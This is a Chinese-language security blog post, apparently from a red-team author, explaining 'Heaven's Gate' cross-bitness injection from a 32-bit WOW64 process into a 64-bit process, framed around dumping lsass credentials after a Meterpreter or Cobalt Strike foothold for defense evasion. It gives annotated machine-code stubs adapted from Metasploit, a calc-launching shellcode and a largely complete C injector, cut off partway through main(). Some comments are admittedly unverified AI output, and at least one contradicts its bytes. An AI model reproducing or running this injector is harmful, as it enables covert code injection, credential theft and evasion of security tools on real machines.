跨位数注入
2025-12-12 19:21:02 # 防御规避

跨位数注入的技术原理来源于heaven’s gate,这是一项非常古老的技术(至少出现十多年了),它允许64位操作系统上运行32位代码的进程直接切换至64位模式下执行代码,技术的关键就是通过 retfjmp fword ptr 完成CPU短长模式的模式切换。

其实这个主题(跨位数注入)我很早就想学习了,但当时技术水平不行,接着忙于工作学习的事就将它搁置,后面又忙于C2框架的开发而逐渐忘记,当我翻阅计划表时惊讶地发现这个idea躺在我的计划表里有一年了,刚好我将学习的方向转向二进制免杀,于是乎就有了这篇文章。

假设一个场景:当你用msf x86的shellcode完成上线,你想使用meterpreter的 creds_all 命令导出目标的所有凭据,这时你会尴尬的发现并没有任何凭据导出,这是因为内核把lsass.exe还有一些凭据的注册表当成64位进程保护,WOW64模式下的Mimikatz是无法dump出凭据的,当然还有其他场景需要在64位进程空间中进行,只是我水平有限说不出来……

dump不出来,难道要就此止步吗?办法总比困难多,就有效的方式就是使用 migrate <PID> 命令迁移到x64程序,问题就迎刃而解。

CS也有inject命令注入到x64的进程中

图形界面

命令形式

上述的演示只停留在应用层的表面,而接下来我将探究其背后的技术原理和实现。

一、x32→x64

正常来说32位只能注入到32位中,64位只能注入到64位中,即同位数注入。这是因为WOW64子系统的存在。WOW64子系统是Windows64位系统为兼容32位应用程序而设计的一个子系统。它允许32位进程在64位Windows系统上运行,使得旧版的32位应用程序可以在新的64位系统上继续使用

但“兼容”只停留在用户态,一旦32位代码想使用 CreateRemoteThreadRtlCreateUserThreadNtCreateThreadEx主动创建64位线程,就会立刻踩到红线: 64位线程入口地址高32位可能全为1,超出32位内存地址空间的限制(超过4GB)所以WOW64内核明确禁止32 → 64 的跨位宽线程创建。于是经典 CreateRemoteThread 注入思路在 WOW64 场景下直接失效。

怎么实现跨位数注入呢?我们可以参照msf和cs的代码,总结出下面的几个步骤

  1. 32位的inject程序使用 VirtualAllocEx 在64位远程进程分配内存(小于4GB的范围);
  2. 使用 WriteProcessMemory 将shellcode写入到刚刚分配的内存中;
  3. inject使用VirtualAlloc分配两段内存给两个stub使用,并将两个stub复制到这个到分配好的内存中;
  4. 执行第一个stub,完成32->64的转换并将执行流转到第二个stub;
  5. 第二个stub根据找到 RtlCreateUserThread 的地址,并调用 RtlCreateUserThread 在64位进程中创建一个线程,并设置为挂起状态,最后将线程句柄返回;
  6. 第一个stub完成收尾:将CPU从64转换为32,并返回到inject中,执行后续代码;
  7. inject使用 ResumeThread 恢复线程,执行shellcode。为了观察shellcode是否被执行,我们可以使用弹窗shellcode或者弹计算器的shellcode。

Drawing 2025-10-26 19.33.57.excalidraw.png

代码的流程与远程线程注入大致相似,其核心的差异就是使用到了两个特别的stub shellcode,上文大致说了两个stub的作用,下面我们再介绍一些细节,进一步理解两个stub的作用:

  1. 第一个stub,migrate_executex64:由32位和64位机器码混合组成,主要负责
    • 切换堆栈、保存非易失性寄存器和参数传递;
    • CPU短模式切换成长模式,执行需要在x64模式下执行的机器码,这个x64机器码的作用是跳转到 migrate_wownativex
    • 执行完 migrate_wownativex 后将CPU长模式切换成短模式;
    • 恢复堆栈和非易失性寄存器,最后返回到inject的代码中,执行inject的后续流程。
  2. 第二个stub,migrate_wownativex:全部由64位机器码组成,主要负责
    • 根据PEB→Ldr→ntdll.dll(64位的ntdll)→导出表找到 RtlCreateUserThread 的地址,这个操作非常的经典,我的Window Shellcode开发系列文章已经详细介绍过了。
    • 调用 RtlCreateUserThread 在目标进程中创建一个线程
    • 返回线程句柄,后续在inject要用到
    • 64位机器码要关注栈对齐,这个我不过多介绍了

两个stub shellcode是一大串的机器码,而且原shellcode并不免杀,这意味着我们需要将其转换成汇编代码,才能进行二次开发(本文没有涉及二开,各位师傅动手做一样吧不要想着我给出来了>.<)。

除了编写上述提到的两个stub外,还需要注意在inject中使用VirtualAllocEx给需要在远程线程执行的payload(目标代码)分配内存时一定要小于4GB的范围。

既然两个stub是跨位数注入的核心,而且还是汇编代码,想必对于部分师傅来说必起来有那么一点点困难,那么下文将详细的介绍如何两段构造stub shellcode代码以及部分设计思路和它们之间的关系,但由于本人水平实在有限,必定存在很多错误的地方,也请各位师傅们批判指正!

两个stub的汇编代码和机器码的来源

  1. metasploit-framework/external/source/shellcode/windows/x86/src/migrate/executex64.asm at master · rapid7/metasploit-framework
  2. metasploit-framework/external/source/shellcode/windows/x64/src/migrate/remotethread.asm at master · rapid7/metasploit-framework

1.1 migrate_executex64

CS的C代码中,将两个stub看作函数指针的形式,这样做的好处是在调用函数之前,调用方会按照 WINAPI 的调用规范传递参数。

第一个stub作为 EXECUTEX64 函数,第二个stub作为 X64FUNCTION,它们的函数声明如下。不过X64FUNCTION函数并没有在代码中使用到,可能是为了直观的看出参数列表和传参方式吧。

1
2
typedef DWORD(WINAPI* EXECUTEX64)(X64FUNCTION pFunction, DWORD ctx);
typedef BOOL(WINAPI* X64FUNCTION)(DWORD ctx);

在上面的函数声明中出现了ctx整数(其实我们看作是指针),其上下文结构体包含了4个字段总大小为32位,刚好是DWORD大小,其中前3个字段都是给 RtlCreateUserThread 使用,而hThread用于接收 RtlCreateUserThread 创建的线程句柄

1
2
3
4
5
6
typedef struct _WOW64CONTEXT {
union { HANDLE hProcess; BYTE _[8]; } h; //句柄
union { LPVOID lpStartAddress; BYTE _[8]; } s; //目标地址
union { LPVOID lpParameter; BYTE _[8]; } p; //参数
union { HANDLE hThread; BYTE _[8]; } t; //线程句柄
} WOW64CONTEXT, * LPWOW64CONTEXT;

先放完整的stub1的shellcode,我将根据代码的执行顺序以此讲解

(一)切换堆栈、保存非易失性寄存器和参数传递

切换堆栈,这个不用我多说了把?大部分函数的开头都是这几个指令。

保存非易失性寄存器,因为用到了esi、edi这两个非易失性寄存器,所以需要将这两个寄存器的值压栈保存

参数传递

执行到mov esi, [ebp+8]此处时,栈的情况

Drawing 2025-10-22 12.49.31.excalidraw.png

  • mov esi, [ebp+8] :获取第一个参数,即pFunction,第二个stub的地址
  • mov ecx, [ebp+0Ch]:获取第二个参数,即ctx,在 migrate_executex64 中还用不到ctx,这是留给 RtlCreateUserThread 使用的。
  • call delta:跳转到下一条指令,并在栈上留下下一条指令的地址,这是为了规避地址随机化的一种非常好用的手段

(二)CPU短模式切换成长模式,执行需要在x64模式下执行的机器码

  • pop eax:弹出存放在栈上的地址,即本条指令 pop eax 的地址;
  • add eax, 37pop eax 加上37(0x25)即为 native_x64 标签所在指令的地址;
  • sub esp, 8:分配8字节的栈空间,用于存放“远跳转结构”
  • mov edx, esp:此时edx = esp;
  • mov [edx+4], 0x33:段选择子(64 位用户代码段)。什么是段选择子解释起来非常困难,简单地说:CPU通过它瞬间切换 32/64位模式,0x23表示32位模式,0x33表示64位模式。
  • mov [edx], eax:将 native_x64 标签所在的指令地址作为偏移,与段选择子构成 0x33:offset 的远跳结构体。
  • call go_all_native:跳转到go_all_native处的代码,并在栈上留下下一条指令的地址。这里的“下一条指令”指下图所示的第一条指令。

程序的执行流到了下图所示的代码

  • mov edi, [esp]:取WoW64返回地址返回地址,这个返回地址是从64位转回32位后,需要按32位执行的代码地址,即“恢复堆栈和非易失性寄存器……”的那段代码。
  • jmp fword ptr [edx]:从所给的地址取6个字节的远跳结构体,切成64位模式,远跳转到x64代码段。我们在 jmp fword ptr [edx] 处下一个断点,观察edx所指向的原跳结构体,如下图所示。

我们去看看偏移所指向的内容是什么,正是 jmp fword ptr [edx] 的下一条指令。

因为我是按32位来调试,当CPU从32->64时,调试器也就失效了。听了AI的解释说是跨位数注入可以用来反沙箱和反调试,这也是有道理的,没办法跟踪到切换成64位长模式的代码。

由于技术水平有限,我没办法通过windbg断点在x64代码区域验证真的CPU切换到长模式,可以说这篇文章的汇编代码是目前为止我写过的最难调试的,涉及到CPU短长模式转换跨进程调式。因为不能调式的原因,本文章大部分时间都是干巴巴的解释,没有调式验证,所以各位一定要保持半信半疑的态度!

我没招了,再次看看msf的代码就行,这两个代码都是由Stephen Fewer编写,没错又是这位神一般的大佬。

  1. metasploit-framework/external/source/shellcode/windows/x86/src/migrate/executex64.asm at master · rapid7/metasploit-framework
  2. metasploit-framework/external/source/shellcode/windows/x64/src/migrate/remotethread.asm at master · rapid7/metasploit-framework

jmp fword ptr [edx] 就是跳到了下面的代码执行,正确的机器码和汇编指令对应关系应该为如下图所示的代码。

  • xor rax, rax:有没有这条指令都无影响,即可以去掉。
  • push rdi:保存RDI 到栈上(包含WoW64返回地址),因为接下来要跳转到stub2(看作X64FUNCTION函数)中执行代码了。
  • call rsi:跳转到stub2执行代码。
  • pop rdi:执行成功后,弹出栈上的WoW64返回地址
  • push rax:stub2的返回值,如果为1表示成功;0表示失败,返回值没什么用。其实这里的 push rax 指令等价于 sub esp, 8,即分配8字节的栈空间,前者机器码占1一个字节,后者占3个字节。
  • mov DWORD PTR [rsp+4], 0x23:设置段选择子为0x23 (WoW64模式)
  • mov DWORD PTR [rsp], edi:设置偏移地址为WoW64返回地址。
  • jmp dword PTR [rsp]:CPU从64->32,并跳转到stub收尾的代码。

(三)恢复堆栈和非易失性寄存器,最后返回到inject的代码中,执行inject的后续流程

书接上文,其实就是跳转到了下图所示的代码

执行 add esp, 20前,此时栈布局如下:

所以为什么要清理这20个字节(8字节远跳转结构1 + 4字节wow64返回地址 + 8字节的远跳结构体2)的空间,这些空间是怎么产生的呢?看下图我框选的3条指令。

恢复完寄存器的值,执行 ret 8 即可返回到inject代码中执行后续逻辑,至此stub1的代码就是构造完了。

在这里补充一点:不知道各位是否明白 ret 8 的作用?在函数声明的时候我们不是用WINAPI来定义函数的调用约定。

WINAPI 就是 __stdcall__stdcall 要求被调用方法清理堆栈(包括存放在栈上的参数)

所以需要使用 ret 8,返回并清理8个字节的参数(4字节pFunction函数指针 + 4字节ctx指针)

(四)stub1在AMD CPU和Intel CPU上的细微差异

作为一个同时拥有AMD CPU和intel CPU的双持玩家,补充一下AMD CPU 在跨位数注入时的问题。我注意到Stephen Fewer给出代码中与CS多出了两个指令。起初我并不在意,连CS都没有在源码(4.5)中实现这两个指令,这意味两段stub在AMD和intel应该一致的。打脸来得太突然,我在AMD CPU上进行测试,居然报错了,涉及到CPU短长模式转换跨进程调式,调试起来无比困难,只能进行浅浅地排查,最终我回想起MSF中在代码中给出的两条奇怪的指令

可以看到注释说这个bug是由 rewolf-wow64ext 项目的作者修复,我们跟着网址去看看 wow64ext v1.0.0.8 – ReWolf 的博客是怎么发现并修复bug。

rewolf怀疑是 RETF 指令之后出现了竞态条件(race condition),导致某些内存页突然“失效”。这两条指令的作用是重新加载段寄存器SS,并屏蔽中断。根据Intel手册,mov ss, ax 会阻止中断直到下一条指令执行完毕,从而稳定CPU状态。rewolf也不完全确定为什么这样能修复问题,但实测有效。

解释看完了,在实际代码编写中又遇到了
几个问题,具体来说我们需要在stub1中修改三处地方

第一处:补充这两个指令

因为补充了这两个指令,所以需要修改两处偏移。

第二处:偏移从0x25->0x2b
第三处:偏移从0x9->0x0f

增加这两条指令后,AMD CPU和intel CPU都能够正常执行。

在这里不得不感概Stephen Fewer和Rewolf登峰造极的技术,或许我追求一辈子也很难达到这种高度。

1.2 migrate_wownativex

由于stub2 shellcode 比stub1大了很多,其中很大一部份代码是获取目标函数地址,我称之为 GetProcAddressByHash

由于CS的stub2逆向成汇编指令实在太多,我就截屏msf的实现,挑重点讲, 至于 GetProcAddressByHash 的代码解释就略过了。

(一)初始化与栈对齐

这开头的几条指令可是大有说法的,且听我慢慢道来。

  • cld:清除方向标志位,DF = 0,字符串操作从低地址向高地址进行,即每次操作后 SI/DI 寄存器递增。常见于movsblodsb。当然你不加这条指令也能够正常运行,因为大多数情况下DF=0,但我建议还是加上好。
  • mov rsi, rcx:rcx(ecx)在stub1中一直没被破坏,还是存放着ctx指针,然而在64位rcx要作为参数寄存器频繁使用,所以将ctx指针存放到rsi中。
  • mov rdi, rsp:保存原始rsp的值。
  • and rsp, 0xfffffffffffffff0:栈按16字节对齐。
  • call start:跳转到start标签处的代码,并在栈上留下 GetProcAddressByHash 地址以备后续使用。

mov rdi, rspand rsp, 0xfffffffffffffff0 必须好好讲解一下,这是对我以往松散知识的一次总结

我们都知道,esp按4字节增减,那么esp末尾最后一位可能为0,可能为4,可能为8,可能为0xc。

如果是64位的程序,执行到 and rsp, 0xfffffffffffffff0 之前,rsp很大概率为8结尾,这是我观察得到的,也是微软 x64 调用约定(Windows x64 ABI)保证“call 之前RSP必须16字节对齐”。

当Cpu从32->64位,则esp = rsp,rsp也可能有4种情形,为了符合x64调用约定(在这里体现为调用call GetProcessAddrByHash)时rsp一定要以0结尾,所以要使用and rsp, 0xfffffffffffffff0使rsp以16字节对齐。

但这时又出现了一个问题,此时rsp指向返回地址,使用 and rsp, 0xfffffffffffffff0 指令之后,会丢失返回地址,导致无法返回,为了解决这个问题,就需要用到一个非易失性寄存器去保存原始rsp,该寄存器在保存原始rsp的值之后就不在后续过程中使用,如需要使用必须保存到栈上之后再恢复,这就是为什么要 mov rdi, rsp 保存原始rsp的原因。

(二)根据HASH动态获取目标函数地址

GetProcessAddrByHash这个函数我不想多说了,在我前几篇文章就详细介绍过了,特别是在这篇文章 Windows Shellcode开发(x64 stager)-先知社区中明确介绍过了,可能存在细微的差异,但思路和最终达成的目的都是一样的,即给定函数名hash,根据PEB→Ldr→InMemoryOrderModuleList->ntdll.dll→导出表找到目标函数地址 ,并调用。

注意:本文中的 GetProcessAddrByHash 是根据CS shellcode逆向得来,我在代码中给的注释是AI给,不保证正确性。

(三)参数准备、调用GetProcessAddrByHash

上图所示的代码就是为RtlCreateUserThread准备参数,并调用GetProcessAddrByHash寻找到RtlCreateUserThread的地址并调用。

RtlCreateUserThread是未公开函数(Undocumented Functions),MSDN文档中并未提供其完整定义或使用说明,以下是从这个参考网站中获取其函数定义:NTAPI Undocumented Functions

在这里我有两个疑问:

第一个疑问:这里我有一个疑问为什么不用NtCreateThreadEx,而是用RtlCreateUserThread?可能是RtlCreateUserThread是CreateRemoteThread的低一级的实现。

RtlCreateUserThread和CreateRemoteThread的最底层实现都是NtCreateThreadEx,按道理来说NtCreateThreadEx也能够实现创建远程线程,至少我在突破seesion 0远程线程注入中成功过,不过在这里不过我并未测试,只是提供了一个思考而已。

在注释我中留了第二个疑问:CreateSuspended = True,一定是要暂停,为什么要暂停?

我尝试将True改位False,即将0x01修改为0x00,代码也还是成功执行

这让我百思不得其解,有知道的师傅可以跟我说一声嘛,真心求教!

(四)返回结果并清理栈

  • test rax,rax:按位相与,只影响标志位,常用于条件跳转。
  • jz sucess :如果rax为0,表明我们成功创建线程,返回TRUE(1)
  • mov rax,0:如果rax为1,表明创建线程失败,返回FALSE(0)
    sucess:
  • mov rax,0
    cleanup:
  • and rsp,(32+6*8):调用一次GetProcAddressByHash产生32B的影子空间,由调用方清理;push 6个参数到栈上,因此使用了6 × 8B = 48B的空间。总共使用了32+6 * 8 字节的栈空间,在返回到stub1前要清理掉。
  • mov rsp,rdi:恢复原始rsp,恢复之后rsp指向返回地址。
  • ret:返回到stub1。

至此两段stub shellcode的编写就介绍完了,有没有感觉精彩绝伦呢?这简直是艺术品,技术的魅力令人陶醉,让人沉迷……

在这里多提一嘴文章写的很繁琐,这是我写文的风格,看不惯我也没办法。

1.3 inject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
// main.cpp
// 32 → 64 位进程注入(WOW64 migrate 桩最小版)
// VS2019+ Win32 平台编译
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

unsigned char migrate_executex64[] = {

// 切换堆栈、保存非易失性寄存器和参数传递
0x55, // push ebp ; 压入栈底指针
0x89,0xE5, // mov ebp, esp ; 创建一个新栈帧
0x56, // push esi ; 保存esi
0x57, // push edi ; 保存edi
0x8B,0x75,0x08, // mov esi, [ebp+8] ; pFunction函数指针
0x8B,0x4D,0x0C, // mov ecx, [ebp+0Ch] ; ctx的地址
0xE8,0x00,0x00,0x00,0x00, // call delta ; 跳转到下一条指令,并在栈上留下下一条指令的地址。

// CPU短模式切换成长模式,执行需要在x64模式下执行的机器码
0x58, // pop eax ; eax = 当前EIP
0x83,0xC0,0x2b, // add eax, 43 ; eax += 0x2b
0x83,0xEC,0x08, // sub esp, 8
0x89,0xE2, // mov edx, esp ; edx -> 8字节洞
0xC7,0x42,0x04,0x33,0x00,0x00,0x00, // mov [edx+4], 0x33 ; 段选择子(64 位用户代码段)
0x89,0x02, // mov [edx], eax ; 偏移 = 64位入口
0xE8,0x0f,0x00,0x00,0x00, // call go_all_native ; 跳转到go_all_native处的代码,并在栈上留下下一条指令的地址。

0x66,0x8c,0xd8, // mov ax, ds
0x66,0x8e,0xd0, // mov ss, ax

// 恢复堆栈和非易失性寄存器,最后返回到inject的代码中,执行inject的后续流程
0x83,0xC4,0x14, // add esp, 20 ; 8字节 = 远跳转结构+4字节 = go_all_native的返回地址+8字节 = native_x64中push的qword
0x5F, // pop edi
0x5E, // pop esi
0x5D, // pop ebp
0xC2,0x08,0x00, // ret 8

// 0x32 go_all_native:
0x8B,0x3C,0x24, // mov edi, [esp] ; 取WoW64返回地址返回地址
0xFF,0x2A, // jmp fword ptr [edx] ; 切64位,远跳转到x64代码段

// 以下代码在x64模式下执行,CPU从64为转为32为
0x48,0x31,0xC0, // xor rax, rax
0x57, // push rdi ; 保存RDI (包含WoW64返回地址)
0xFF,0xD6, // call rsi ;调用x64函数: X64FUNCTION(dwParameter)
0x5F, // pop rdi ;恢复RDI (WoW64返回地址)
0x50, // push rax ;将返回值(hThread)压栈 (同时分配8字节空间)
0xC7,0x44,0x24,0x04,0x23,0x00,0x00,0x00, // mov DWORD PTR [rsp+4], 0x23 ; 设置段选择子为0x23 (WoW64模式)
0x89,0x3C,0x24, // mov DWORD PTR [rsp], edi ;设置偏移地址为WoW64返回地址
0xFF,0x2C,0x24 // jmp dword PTR [rsp] ;远跳转回WoW64模式
};

unsigned char migrate_wownativex[] = {
// ================ 第1段:初始化与栈对齐 ==================
0xFC, // cld ; 清除方向标志
0x48,0x89,0xCE, // mov rsi, rcx ; 保存第一个参数(目标函数指针)
0x48,0x89,0xE7, // mov rdi, rsp ; 保存原始栈指针
0x48,0x83,0xE4,0xF0, // and rsp, 0xfffffffffffffff0 ; 栈对齐到16字节
0xE8,0xC8,0x00,0x00,0x00, // call start ; 获取当前地址(用于定位数据)

// GetProcAddressByHash:
// ================ 第2段:寄存器压栈保护 ==================
0x41,0x51, // push r9
0x41,0x50, // push r8
0x52, // push rdx
0x51, // push rcx
0x56, // push rsi

// ================ 第3段:遍历PEB获取ntdll模块基址 ==========
0x48,0x31,0xD2, // xor rdx, rdx
0x65,0x48,0x8B,0x52,0x60, // mov rdx, gs:[rdx+0x60] ; 获取PEB
0x48,0x8B,0x52,0x18, // mov rdx, [rdx+0x18] ; PEB->Ldr
0x48,0x8B,0x52,0x20, // mov rdx, [rdx+0x20] ; InMemoryOrderModuleList
0x48,0x8B,0x72,0x50, // mov rsi, [rdx+0x50] ; 第一个模块的BaseDllName.Buffer
0x48,0x0F,0xB7,0x4A,0x4A, // movzx rcx, word ptr [rdx+0x4a] ; 模块名长度

// ================ 第4段:计算模块名哈希(用于匹配) ========
0x4D,0x31,0xC9, // xor r9, r9 ; 初始化哈希值
0x48,0x31,0xC0, // xor rax, rax
//hash_loop:
0xAC, // lodsb ; 读取一个字符
0x3C,0x61, // cmp al, 'a'
0x7C,0x02, // jl no_lower
0x2C,0x20, // sub al, 0x20 ; 转换为大写
//no_lower :
0x41,0xC1,0xC9,0x0D, // ror r9d, 13 ; 哈希旋转
0x41,0x01,0xC1, // add r9d, eax ; 累加字符
0xE2,0xED, // loop hash_loop ; 循环处理所有字符

// ================ 第5段:定位导出表并验证PE结构 ==========
0x52, // push rdx ; 保存当前模块地址
0x41,0x51, // push r9 ; 保存模块哈希
0x48,0x8B,0x52,0x20, // mov rdx, [rdx+0x20] ; 获取模块基址
0x8B,0x42,0x3C, // mov eax, [rdx+0x3c] ; e_lfanew
0x48,0x01,0xD0, // add rax, rdx ; PE头地址
0x66,0x81,0x78,0x18,0x0B,0x02, // cmp word [rax+0x18], 0x20b ; 检查是否为64位PE
0x75,0x72, // jne next_module ; 不是则跳过

// ================ 第6段:解析导出表 =======================
0x8B,0x80,0x88,0x00,0x00,0x00, // mov eax, [rax+0x88] ; 导出表RVA
0x48,0x85,0xC0, // test rax, rax
0x74,0x67, // je next_module ; 无导出表则跳过
0x48,0x01,0xD0, // add rax, rdx ; 导出表VA
0x50, // push rax ; 保存导出表地址
0x8B,0x48,0x18, // mov ecx, [rax+0x18] ; NumberOfNames
0x44,0x8B,0x40,0x20, // mov r8d, [rax+0x20] ; AddressOfNames RVA
0x49,0x01,0xD0, // add r8, rdx ; AddressOfNames VA

// ================ 第7段:遍历导出函数名查找目标函数 =======
0xE3,0x56, // jecxz resolve_by_ordinal ; 无函数名则跳过
//name_loop:
0x48,0xFF,0xC9, // dec rcx
0x41,0x8B,0x34,0x88, // mov esi, [r8+rcx*4] ; 函数名RVA
0x48,0x01,0xD6, // add rsi, rdx ; 函数名VA
0x4D,0x31,0xC9, // xor r9, r9 ; 初始化函数名哈希
0x48,0x31,0xC0, // xor rax, rax
//func_hash_loop :
0xAC, // lodsb
0x41,0xC1,0xC9,0x0D, // ror r9d, 13
0x41,0x01,0xC1, // add r9d, eax
0x38,0xE0, // cmp al, ah ; 检查是否为字符串结尾
0x75,0xF1, // jne func_hash_loop
0x4C,0x03,0x4C,0x24,0x08, // add r9, [rsp+8] ; 加上模块基址(实际是模块哈希?)
0x45,0x39,0xD1, // cmp r9d, r10d ; 与目标哈希比较
0x75,0xD8, // jne name_loop ; 不匹配则继续

// ================ 第8段:解析函数地址并调用 ==============
0x58, // pop rax ; 恢复导出表地址
0x44,0x8B,0x40,0x24, // mov r8d, [rax+0x24] ; AddressOfNameOrdinals RVA
0x49,0x01,0xD0, // add r8, rdx ; AddressOfNameOrdinals VA
0x66,0x41,0x8B,0x0C,0x48, // mov cx, [r8+rcx*2] ; 函数序号
0x44,0x8B,0x40,0x1C, // mov r8d, [rax+0x1c] ; AddressOfFunctions RVA
0x49,0x01,0xD0, // add r8, rdx ; AddressOfFunctions VA
0x41,0x8B,0x04,0x88, // mov eax, [r8+rcx*4] ; 函数RVA
0x48,0x01,0xD0, // add rax, rdx ; 函数VA

// ================ 第9段:恢复寄存器并跳转执行 ============
0x41,0x58, // pop r8
0x41,0x58, // pop r8
0x5E, // pop rsi
0x59, // pop rcx
0x5A, // pop rdx
0x41,0x58, // pop r8
0x41,0x59, // pop r9
0x41,0x5A, // pop r10
0x48,0x83,0xEC,0x20, // sub rsp, 0x20 ; 为调用准备栈空间
0x41,0x52, // push r10
0xFF,0xE0, // jmp rax ; 跳转到目标函数

// ================ 第10段:模块遍历失败处理 ===============
0x58, // pop rax
0x41,0x59, // pop r9
0x5A, // pop rdx
0x48,0x8B,0x12, // mov rdx, [rdx] ; 获取下一个模块
0xE9,0x4F,0xFF,0xFF,0xFF, // jmp hash_loop ; 继续遍历

//start:
// ================ 第11段:调用目标函数(RtlCreateUserThread)===
0x5D, // pop rbp ; 获取GetProcAddressByHash地址
0x4D,0x31,0xC9, // xor r9, r9 ; StackZeroBits = 0
0x41,0x51, // push r9 ; ClientID = NULL
0x48,0x8D,0x46,0x18, // lea rax, [rsi+0x18] ; ctx->hThead地址。出(OUT)参数,将创建的线程的句柄存入此处,以供inject的ResumeThread使用
0x50, // push rax ; ThreadHandle = &ctx->ctx->hThead
0xFF,0x76,0x10, // push qword [rsi+0x10] ; StartParameter = ctx->lpParameter。可以给待启动的线程传入一个参数
0xFF,0x76,0x08, // push qword [rsi+0x8] ; StartAddres = ctx->lpStartAddress。待启动的线程地址,在本文中指shellcode地址。
0x41,0x51, // push r9 ; StackCommit = NULL
0x41,0x51, // push r9 ; StackReserved = NULL
0x49,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // mov r8, 1 ; CreateSuspended = True,一定是要暂停,为什么要暂停?
0x48,0x31,0xD2, // xor rdx, rdx ; SecurityDescriptor = NULL
0x48,0x8B,0x0E, // mov rcx, [rsi] ; ProcessHandle = ctx->hProcess
0x41,0xBA,0xC8,0x38,0xA4,0x40, // mov r10d, 0x40a438c8 ; mov r10d, 0x40a438c8:"ntdll.dll" + "RtlCreateUserThread" hash
0xFF,0xD5, // call rbp ; 调用GetProcessAddrByHash函数。

// ================ 第12段:返回结果并清理栈 ================
0x48,0x85,0xC0, // test rax, rax ; 检查是否成功
0x74,0x0C, // jz success
0x48,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // mov rax, 0
0xEB,0x0A, // jmp cleanup
// success:
0x48,0xB8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, // mov rax, 1
// cleanup :
0x48,0x83,0xC4,0x50, // add rsp, 0x50 ; 清理栈
0x48,0x89,0xFC, // mov rsp, rdi ; 恢复原始栈指针
0xC3 // ret
};

unsigned char shellcode[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};

// 参数结构(可选)
typedef struct _WOW64CONTEXT {
union { HANDLE hProcess; BYTE _[8]; } h; //句柄
union { LPVOID lpStartAddress; BYTE _[8]; } s; //目标地址
union { LPVOID lpParameter; BYTE _[8]; } p; //参数
union { HANDLE hThread; BYTE _[8]; } t; //线程句柄
} WOW64CONTEXT, * LPWOW64CONTEXT;

// 类型定义
typedef BOOL(WINAPI* X64FUNCTION)(DWORD ctx);
typedef DWORD(WINAPI* EXECUTEX64)(X64FUNCTION pFunction, DWORD ctx);

/* 注入函数:32 位进程 → 64 位进程 */
BOOL inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter)
{
EXECUTEX64 pExecuteX64 = NULL;
X64FUNCTION pX64function = NULL;
WOW64CONTEXT* ctx = NULL;

// 1. 在本进程申请 RWX 内存
pExecuteX64 = (EXECUTEX64)VirtualAlloc(NULL, sizeof(migrate_executex64), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pExecuteX64) return FALSE;

pX64function = (X64FUNCTION)VirtualAlloc(NULL, sizeof(migrate_wownativex) + sizeof(WOW64CONTEXT), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pX64function) { VirtualFree(pExecuteX64, 0, MEM_RELEASE); return FALSE; }

// 2. 拷贝 stub
memcpy(pExecuteX64, migrate_executex64, sizeof(migrate_executex64));
memcpy(pX64function, migrate_wownativex, sizeof(migrate_wownativex));

// 3. 填参数包
ctx = (WOW64CONTEXT*)((BYTE*)pX64function + sizeof(migrate_wownativex));
ctx->h.hProcess = hProcess;
ctx->s.lpStartAddress = lpStartAddress;
ctx->p.lpParameter = lpParameter;
ctx->t.hThread = NULL;

// 4. WOW64 远跳 → 64 位 stub → RtlCreateUserThread
if (!pExecuteX64(pX64function, (DWORD)ctx)) { VirtualFree(pExecuteX64, 0, MEM_RELEASE); VirtualFree(pX64function, 0, MEM_RELEASE); return FALSE; }
if (!ctx->t.hThread) { VirtualFree(pExecuteX64, 0, MEM_RELEASE); VirtualFree(pX64function, 0, MEM_RELEASE); return FALSE; }

// 5. 启动线程 & 清理
ResumeThread(ctx->t.hThread);
VirtualFree(pExecuteX64, 0, MEM_RELEASE);
VirtualFree(pX64function, 0, MEM_RELEASE);
return TRUE;
}

/* -------------------- main -------------------- */
int main()
{
printf("[+] 本进程位数: x86\n");
DWORD pid;
printf("[+] 请输入 64 位进程 PID: ");
scanf_s("%lu", &pid);
//DWORD pid = 2824;
